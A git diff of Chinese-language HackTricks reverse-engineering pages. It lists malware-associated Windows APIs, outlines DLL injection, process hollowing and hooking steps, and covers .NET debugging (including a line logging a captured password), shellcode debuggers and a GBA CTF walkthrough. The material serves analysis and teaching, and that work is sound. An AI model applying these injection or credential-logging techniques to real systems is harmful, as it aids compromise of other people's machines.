<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
@ -14,6 +14,13 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
发现最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
# 通用
@ -90,10 +97,10 @@
* GetAsyncKeyState() -- 键盘记录
* SetWindowsHookEx -- 键盘记录
* GetForeGroundWindow -- 获取运行窗口名称(或浏览器中的网站)
* GetForeGroundWindow -- 获取正在运行窗口名称(或浏览器中的网站)
* LoadLibrary() -- 导入库
* GetProcAddress() -- 导入库
* CreateToolhelp32Snapshot() -- 列出运行的进程
* CreateToolhelp32Snapshot() -- 列出正在运行的进程
* GetDC() -- 屏幕截图
* BitBlt() -- 屏幕截图
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- 访问互联网
@ -108,15 +115,14 @@
1. 定位要注入恶意DLL的进程CreateToolhelp32SnapshotProcess32FirstProcess32Next
2. 打开进程GetModuleHandleGetProcAddressOpenProcess
3. 在进程中写入DLL的路径VirtualAllocExWriteProcessMemory
4. 在进程中创建一个加载恶意DLL的线程CreateRemoteThreadLoadLibrary
4. 在进程中创建一个加载恶意DLL的线程CreateRemoteThreadLoadLibrary
其他要使用的函数NTCreateThreadExRtlCreateUserThread
## 反射式DLL注入
在不调用常规Windows API调用的情况下加载恶意DLL。\
该DLL被映射到进程内部它将解析导入地址修复重定位并调用DllMain函数。
该DLL被映射到进程中它将解析导入地址修复重定位并调用DllMain函数。
## 线程劫持
找到一个进程的线程并使其加载恶意DLL
@ -125,41 +131,48 @@
2. 打开线程OpenThread
3. 暂停线程SuspendThread
4. 在受害进程中写入恶意DLL的路径VirtualAllocExWriteProcessMemory
5. 恢复线程加载库ResumeThread
5. 恢复线程加载库ResumeThread
## PE注入
可执行文件注入:将可执行文件写入受害进程的内存中,并从那里执行。
## 进程空壳化
恶意软件将从进程的内存中取消映射合法代码,并加载恶意二进制文件
1. 创建一个新进程CreateProcess
2. 取消内存映射ZwUnmapViewOfSectionNtUnmapViewOfSection
3. 将恶意二进制文件写入进程内存VirtualAllocEcWriteProcessMemory
3. 在进程内存中写入恶意二进制文件VirtualAllocEcWriteProcessMemory
4. 设置入口点并执行SetThreadContextResumeThread
# 钩子
* **SSDT****系统服务描述符表**指向内核函数ntoskrnl.exe或GUI驱动程序win32k.sys以便用户进程可以调用这些函数。
* Rootkit可能会修改这些指针以指向他控制的地址。
* **IRP****I/O请求数据包**将数据从一个组件传输到另一个组件。内核中的几乎所有内容都使用IRP每个设备对象都有自己的函数表可以进行钩子DKOM直接内核对象操作
* **IAT****导入地址表**)用于解析依赖项。可以钩住这个表以劫持将要调用的代码。
* **EAT****导出地址表**)钩子。这些钩子可以从**用户空间**进行。目标是钩住DLL导出的函数。
* **内联钩子**:这种类型很难实现。这涉及修改函数本身的代码。可能是在函数开头放置一个跳转。
* **SSDT**系统服务描述符表指向内核函数ntoskrnl.exe或GUI驱动程序win32k.sys因此用户进程可以调用这些函数。
* Rootkit可能会修改这些指针以指向他控制的地址
* **IRP**I/O请求数据包将数据从一个组件传输到另一个组件。内核中的几乎所有内容都使用IRP并且每个设备对象都有自己的函数表可以进行钩取DKOM直接内核对象操作
* **IAT**(导入地址表)用于解析依赖项。可以钩住这个表以劫持将要调用的代码。
* **EAT**(导出地址表)钩子。这些钩子可以从**用户空间**进行。目标是钩住DLL导出的函数。
* **内联钩子**:这种类型很难实现。这涉及修改函数本身的代码。可以在函数开头放置一个跳转来实现。
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- 获取[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享的黑客技巧**。
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享的黑客技巧**。
</details>

View file

@ -2,16 +2,24 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基于ImGui的反向工程工具
软件:
@ -35,7 +43,7 @@
### [dotPeek](https://www.jetbrains.com/decompiler/)
dotPeek是一个反编译器可以反编译和检查多种格式包括库.dll、Windows元数据文件.winmd和可执行文件.exe一旦反编译可以将程序集保存为Visual Studio项目.csproj
dotPeek是一个反编译器可以反编译和检查多种格式包括库.dll、Windows元数据文件.winmd和可执行文件.exe。反编译可以将程序集保存为Visual Studio项目.csproj
这里的优点是如果丢失的源代码需要从旧版程序集中恢复这个操作可以节省时间。此外dotPeek提供了方便的导航功能使其成为**Xamarin算法分析**的完美工具之一。
@ -45,19 +53,19 @@ dotPeek是一个反编译器可以反编译和检查多种格式包括库
* 提供对数据在库或组件中的流动方式的洞察
* 提供对.NET语言和框架的实现和使用的洞察
* 发现未记录和未公开的功能,以更充分地利用所使用的API和技术。
* 发现未记录和未公开的功能,以更好地利用所使用的API和技术
* 查找依赖项和不同的程序集
* 追踪代码中错误、第三方组件和库的确切位置
* 追踪代码中错误的确切位置,包括您的代码、第三方组件和库。
### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases)
### [ILSpy](https://github.com/icsharpcode/ILSpy)和[dnSpy](https://github.com/dnSpy/dnSpy/releases)
[ILSpy Visual Studio Code插件](https://github.com/icsharpcode/ilspy-vscode)你可以在任何操作系统中使用它你可以直接从VSCode安装它无需下载git。点击**Extensions**然后**搜索ILSpy**)。\
如果需要**反编译**、**修改**和**重新编译**可以使用:[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)**右键单击 -> 修改方法**来更改函数内部的内容)。\
你也可以尝试[https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
[ILSpy Visual Studio Code插件](https://github.com/icsharpcode/ilspy-vscode)您可以在任何操作系统中使用它可以直接从VSCode安装无需下载git。点击**Extensions**然后搜索ILSpy)。\
如果需要**反编译**、**修改**和**重新编译**,可以使用:[**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases)**右键单击 -> Modify Method**以更改函数内部的内容)。\
您还可以尝试[https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/)
### DNSpy日志记录
为了使**DNSpy记录一些信息到文件中**,你可以使用以下.NET代码行
为了使DNSpy在文件中记录一些信息可以使用以下.NET代码行
```bash
using System.IO;
path = "C:\\inetpub\\temp\\MyTest2.txt";
@ -73,49 +81,7 @@ File.AppendAllText(path, "Password: " + password + "\n");
```aspnet
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
```
/hive/hacktricks/reversing/reversing-tools-basic-methods/README.md
# Reversing Tools Basic Methods
This section provides an overview of the basic methods used in reversing tools. These methods are essential for reverse engineering and analyzing software.
## Static Analysis
Static analysis involves examining the binary code of a program without executing it. This can be done using tools such as disassemblers and decompilers. Static analysis helps in understanding the structure and behavior of the program.
### Disassemblers
Disassemblers are tools that convert machine code into assembly code. They allow you to view the low-level instructions of a program. Some popular disassemblers include IDA Pro, Ghidra, and Radare2.
### Decompilers
Decompilers are tools that convert compiled code into a higher-level programming language. They help in understanding the logic and functionality of a program. Some popular decompilers include IDA Pro, Ghidra, and RetDec.
## Dynamic Analysis
Dynamic analysis involves running the program and observing its behavior in real-time. This can be done using tools such as debuggers and dynamic analysis frameworks. Dynamic analysis helps in understanding the runtime behavior and identifying vulnerabilities.
### Debuggers
Debuggers are tools that allow you to monitor and control the execution of a program. They provide features such as breakpoints, stepping through code, and inspecting variables. Some popular debuggers include GDB, WinDbg, and OllyDbg.
### Dynamic Analysis Frameworks
Dynamic analysis frameworks are tools that automate the process of analyzing software behavior. They provide features such as code instrumentation, memory monitoring, and network traffic analysis. Some popular dynamic analysis frameworks include Frida, Pin, and DynamoRIO.
## Other Tools
Apart from disassemblers, decompilers, debuggers, and dynamic analysis frameworks, there are several other tools that can be used in reverse engineering. These include:
- Hex Editors: Tools that allow you to view and edit binary files.
- Packers/Unpackers: Tools that compress or encrypt executable files to make reverse engineering more difficult.
- Patchers: Tools that modify the binary code of a program to change its behavior.
- Fuzzers: Tools that generate random inputs to test the robustness of a program.
- Profilers: Tools that analyze the performance of a program and identify bottlenecks.
## Conclusion
Understanding the basic methods used in reversing tools is essential for reverse engineering and analyzing software. By using a combination of static and dynamic analysis, along with other tools, you can gain insights into the inner workings of a program and identify vulnerabilities.
致:
```
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
DebuggableAttribute.DebuggingModes.DisableOptimizations |
@ -130,7 +96,7 @@ DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]
![](<../../.gitbook/assets/image (279).png>)
这是必要的,因为如果不这样做,在**运行时**会对代码应用多个**优化**,可能会导致在调试时**断点永远不会触发**或某些**变量不存在**。
这是必要的,因为如果不这样做,在**运行时**会对代码应用多个**优化**,可能会导致在调试时**断点永远不会触发**或某些**变量不存在**。
然后,如果你的.NET应用程序正在由**IIS**运行,你可以使用以下命令**重新启动**它:
```
@ -150,11 +116,11 @@ iisreset /noforce
![](<../../.gitbook/assets/image (283).png>)
在**Modules**中点击任何模块,然后选择**Open All Modules**
在**模块**中点击任何模块,然后选择**打开所有模块**
![](<../../.gitbook/assets/image (284).png>)
右键单击**Assembly Explorer**中的任何模块,然后点击**Sort Assemblies**
右键单击**程序集浏览器**中的任何模块,然后点击**排序程序集**
![](<../../.gitbook/assets/image (285).png>)
@ -192,7 +158,7 @@ iisreset /noforce
![](<../../.gitbook/assets/image (137).png>)
然后,查看此处,可以看到执行停止在您要调试的dll中的位置。
然后查看此处可以看到执行停止在您要调试的dll中的位置。
## GUI应用程序/视频游戏
@ -210,10 +176,10 @@ iisreset /noforce
### 使用blobrunner调试shellcode
[**Blobrunner**](https://github.com/OALabs/BlobRunner)将在内存空间中**分配shellcode**,并指示shellcode分配的内存地址并停止执行。\
然后您需要将调试器Ida或x64dbg附加到进程并在指示的内存地址处设置断点然后恢复执行。这样您将调试shellcode
[**Blobrunner**](https://github.com/OALabs/BlobRunner)将在内存空间中**分配**shellcode并指示shellcode分配的内存地址**停止**执行。\
然后您需要将调试器Ida或x64dbg附加到进程并在指示的内存地址处设置断点然后**恢复**执行。这样您就可以调试shellcode了
发布的github页面包含编译版本的zip文件:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
发布的github页面包含编译版本的压缩文件:[https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
您可以在以下链接中找到稍微修改过的Blobrunner版本。为了编译它只需在Visual Studio Code中**创建一个C/C++项目,复制并粘贴代码,然后构建**。
{% content-ref url="blobrunner.md" %}
@ -222,7 +188,7 @@ iisreset /noforce
### 使用jmp2it调试shellcode
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)与blobrunner非常相似。它将在内存空间中**分配shellcode**,并启动一个**无限循环**。然后,您需要将调试器附加到进程,**播放开始等待2-5秒然后按停止**,您将发现自己处于**无限循环**中。跳转到无限循环的下一条指令因为它将是对shellcode的调用最后您将发现自己正在执行shellcode。
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)与blobrunner非常相似。它将在内存空间中**分配**shellcode并启动一个**无限循环**。然后,您需要将调试器附加到进程,**播放开始等待2-5秒然后按停止**,您将发现自己处于**无限循环**中。跳转到无限循环的下一条指令因为它将是对shellcode的调用最后您将发现自己正在执行shellcode。
![](<../../.gitbook/assets/image (397).png>)
@ -230,23 +196,25 @@ iisreset /noforce
### 使用Cutter调试shellcode
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)是radare的图形界面。使用cutter您可以动态地模拟和检查shellcode。
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0)是radare的图形界面。使用Cutter您可以动态地模拟和检查shellcode。
请注意Cutter允许您“打开文件”和“打开shellcode”。在我的情况下当我将shellcode作为文件打开时它正确反编译了但当我将其作为shellcode打开时它没有
请注意Cutter允许您“打开文件”和“打开Shellcode”。在我的情况下当我将shellcode作为文件打开时它正确反编译了但当我将其作为shellcode打开时它没有
![](<../../.gitbook/assets/image (400).png>)
为了从您想要的位置开始模拟,设置一个断点,然后cutter将自动从那里开始模拟
为了从您想要的位置开始模拟,设置一个断点,显然Cutter将自动从那里开始模拟
![](<../../.gitbook/assets/image (399).png>)
![](<../../.gitbook/assets/image (401).png>)
您可以在十六进制转储中查看堆栈,例如:
![](<../../.gitbook/assets/image (402).png>)
### 反混淆 shellcode 并获取执行的函数
你可以尝试使用 [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152)。\
它会告诉你 shellcode 使用了哪些函数,并且如果 shellcode 在内存中进行了**解码**
它会告诉你 shellcode 使用了哪些函数,并且是否在内存中对自身进行了解码
```bash
scdbg.exe -f shellcode # Get info
scdbg.exe -f shellcode -r #show analysis report at end of run
@ -255,11 +223,11 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
scdbg.exe -f shellcode /findsc #Find offset where starts
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
```
scDbg也提供了一个图形化启动器您可以在其中选择所需的选项并执行shellcode。
scDbg还配有一个图形化启动器您可以在其中选择所需的选项并执行shellcode。
![](<../../.gitbook/assets/image (398).png>)
如果对shellcode在内存中进行任何动态更改用于下载解码后的shellcode则**Create Dump**选项将转储最终的shellcode。**start offset**可以用于在特定偏移处启动shellcode。**Debug Shell**选项可用于使用scDbg终端调试shellcode但是我发现前面解释的任何选项对于此问题都更好因为您将能够使用Ida或x64dbg
如果对shellcode在内存中动态进行任何更改用于下载解码后的shellcode则**Create Dump**选项将转储最终的shellcode。**start offset**可以用于在特定偏移处启动shellcode。**Debug Shell**选项可用于使用scDbg终端调试shellcode但是我发现前面解释的任何选项对于此问题都更好因为您将能够使用Ida或x64dbg
### 使用CyberChef进行反汇编
@ -267,7 +235,7 @@ scDbg也提供了一个图形化启动器您可以在其中选择所需的选
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
这个混淆器**修改所有的`mov`指令**(是的,非常酷)。它还使用中断来改变执行流程。有关其工作原理的更多信息:
这个混淆器**修改所有的`mov`指令**(是的,非常酷)。它还使用中断来改变执行流程。有关其工作原理的更多信息:
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
@ -277,42 +245,51 @@ scDbg也提供了一个图形化启动器您可以在其中选择所需的选
apt-get install libcapstone-dev
apt-get install libz3-dev
```
[安装keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
并[安装keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
如果你在玩CTF这个绕过方法可以帮助你找到flag: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Rust
要找到**入口点**,搜索函数中的`::main`,如下所示:
要找到**入口点**请搜索函数中的`::main`,如下所示:
![](<../../.gitbook/assets/image (612).png>)
在这个例子中二进制文件被称为authenticator所以很明显这是一个有趣的主函数。\
知道被调用的函数的**名称**后,可以在**互联网**上搜索它们,了解它们的**输入**和**输出**。
在这种情况下二进制文件被称为authenticator所以很明显这是一个有趣的主函数。\
有了被调用的函数的**名称**,在**互联网**上搜索它们以了解它们的**输入**和**输出**。
## **Delphi**
对于Delphi编译的二进制文件可以使用[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
对于Delphi编译的二进制文件可以使用[https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
如果你需要反向一个Delphi二进制文件我建议你使用IDA插件[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
如果您需要反向一个Delphi二进制文件我建议您使用IDA插件[https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
只需按下**ATL+f7**在IDA中导入Python插件,然后选择Python插件。
只需按下**ATL+f7**在IDA中导入Python插件选择Python插件。
该插件将在调试开始时执行二进制文件并动态解析函数名称。在开始调试后再次按下开始按钮绿色按钮或f9将在真正代码的开头触发断点。
这也非常有趣,因为如果你在图形应用程序中按下一个按钮,调试器将停在该按钮执行的函数中。
这也非常有趣,因为如果您在图形应用程序中按下按钮,调试器将停在由该按钮执行的函数中。
## Golang
如果你需要反向一个Golang二进制文件我建议你使用IDA插件[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
如果您需要反向一个Golang二进制文件我建议您使用IDA插件[https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
只需按下**ATL+f7**在IDA中导入Python插件,然后选择Python插件。
只需按下**ATL+f7**在IDA中导入Python插件选择Python插件。
这将解析函数的名称。
## 编译的Python
在这个页面上,你可以找到如何从ELF/EXE Python编译的二进制文件中获取Python代码:
在这个页面上,您可以找到如何从ELF/EXE Python编译的二进制文件中获取Python代码的方法
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -320,18 +297,18 @@ apt-get install libz3-dev
## GBA - Game Body Advance
如果你得到了一个GBA游戏的**二进制文件**,你可以使用不同的工具来**模拟**和**调试**它:
如果您获得了GBA游戏的**二进制文件**,您可以使用不同的工具来**模拟**和**调试**它:
* [**no$gba**](https://problemkaputt.de/gba.htm) (_下载调试版本_) - 包含一个带界面的调试器
* [**mgba** ](https://mgba.io)- 包含一个CLI调试器
* [**no$gba**](https://problemkaputt.de/gba.htm)_下载调试版本_- 包含带界面的调试器
* [**mgba** ](https://mgba.io)- 包含CLI调试器
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Ghidra插件
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Ghidra插件
在[**no$gba**](https://problemkaputt.de/gba.htm)中在_**Options --> Emulation Setup --> Controls**_\*\* \*\*中可以看到如何按下Game Boy Advance的**按钮**
在[**no$gba**](https://problemkaputt.de/gba.htm)中在_**Options --> Emulation Setup --> Controls**_\*\* \*\*中,您可以看到如何按下Game Boy Advance的**按钮**
![](<../../.gitbook/assets/image (578).png>)
按下时,每个**键都有一个值**来识别它:
按下时,每个**键都有一个值**来识别它
```
A = 1
B = 2
@ -383,7 +360,7 @@ uVar2 = DAT_030004dc;
uVar1 = *puVar6;
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
```
最后的if语句检查**`uVar4`**是否在**最后的Keys**中,而不是当前的按键,也就是放开一个按钮(当前按键存储在**`uVar1`**中)。
最后的if语句检查**`uVar4`**是否在**最后的按键**中,而不是当前按键,也就是松开一个按钮(当前按键存储在**`uVar1`**中)。
```c
if (uVar1 == 4) {
DAT_030000d4 = 0;
@ -413,9 +390,9 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
```
在上面的代码中,我们可以看到我们正在将**uVar1**(按下按钮的值的位置)与一些值进行比较:
* 首先,它与**值4****SELECT**按钮)进行比较:在挑战中,该按钮清除屏幕
* 然后,它与**值8****START**按钮)进行比较:在挑战中,这将检查代码是否有效以获取标志。
* 在这种情况下,将变量**`DAT_030000d8`**与0xf3进行比较如果值相同则执行一些代码。
* 首先,它与**值4****SELECT**按钮)进行比较:在挑战中,该按钮清除屏幕
* 然后,它与**值8****START**按钮)进行比较:在挑战中,这将检查代码是否有效以获取标志。
* 在这种情况下,将**`DAT_030000d8`**与0xf3进行比较如果值相同则执行一些代码。
* 在其他任何情况下将检查一些cont`DAT_030000d4`。它是一个cont因为在进入代码后立即加1。
* 如果小于8则执行涉及将值添加到**`DAT_030000d8`**的操作基本上是将按下的键的值添加到此变量中只要cont小于8
@ -432,14 +409,20 @@ DAT_030000d8 = DAT_030000d8 + 0x3a;
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD)(二进制反混淆)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗或者你想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的公司广告吗或者您想获得PEASS的**最新版本或下载PDF格式的HackTricks**?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
